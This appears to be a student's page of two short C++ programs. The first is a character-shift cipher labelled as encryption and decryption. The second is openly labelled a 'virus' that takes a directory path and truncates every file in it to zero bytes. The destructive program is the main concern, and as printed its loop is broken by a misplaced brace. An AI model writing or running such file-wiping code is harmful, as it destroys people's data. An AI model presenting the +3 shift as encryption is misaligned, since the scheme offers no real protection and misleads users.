

- **Encryption And Decryption Method**

```
//////////////////MADE BY MIHIR//////////////////  
//////////////////12-July-2021//////////////////  
//////////////////Encryption and Decryption//////////////////
```

```
#include<iostream>  
using namespace std;
```

```
string encrypt(string plaintext) // encrypts plain text and returns cypher  
{  
    string dummy = plaintext; // temporary variable  
    int i;  
    for(i=0;i<plaintext.length();i++)  
    {  
        char c;  
        c = plaintext[i];  
        c = c+3; // increasing character ascii value by 3  
        dummy[i]=c; //storing changed character in dummy string  
    }  
    return dummy;  
}
```

```
string decrypt(string cyphertext) // decrypts cypher text and returns plain text  
{  
    string dummy = cyphertext;  
  
    for(int i=0;i<cyphertext.length();i++)  
    {  
        char c;  
        c = cyphertext[i];  
        c = c-3; //subtracting character ascii value by 3 to get plain text  
        dummy[i]=c;  
    }  
    return dummy;  
}
```

```
int main()  
{  
    string input;  
    cout<<"Enter Plain Text"<<endl;  
    cin>>input; //getting input  
    cout<<endl;
```

```

    string cypher = encrypt(input); // encrypting input
    cout<<cypher<<endl;
    cout<<decrypt(cypher)<<endl; // decrypting cypher text
}

```

- **Virus (Erases all files in directory)**

```

//////////////////MADE BY MIHIR//////////////////
//////////////////12-July-2021//////////////////
//////////////////REMOVE(DELETE)DIRECTORY//////////////////

#include<iostream>
#include<fstream>
#include <dirent.h>
#include <sys/types.h>
using namespace std;

void flush(string name) // To Null Out The Files
{
    ofstream file(name);
    file.close();
}

int main()
{
    //Enter Path * C://Users//Mihir//Documents//Semester5//CIS//TEST

    cout<<"Enter Path"<<endl;
    string input;
    cin>>input; //Taking Input
    const char * path = input.c_str(); // Converting String To Character Pointer

    struct dirent *start; // Structure of dirent
    DIR *dir = opendir(path); // Directory Object For Particular Directory

    if(dir==NULL) // Checking if directory is null
    {
        return 0 ; // End of program
    }
    int iterator = 0; // To Check Dots of directory
    while((start = readdir(dir)) != NULL) // Reading Diredt Until Its Not Null
    {
        if(iterator > 1)
        {
            flush(input+"//"+start->d_name); // Flushing File
        }
    }
}

```

```
        iterator++;  
    }  
    closedir(dir); // Close Directory  
}
```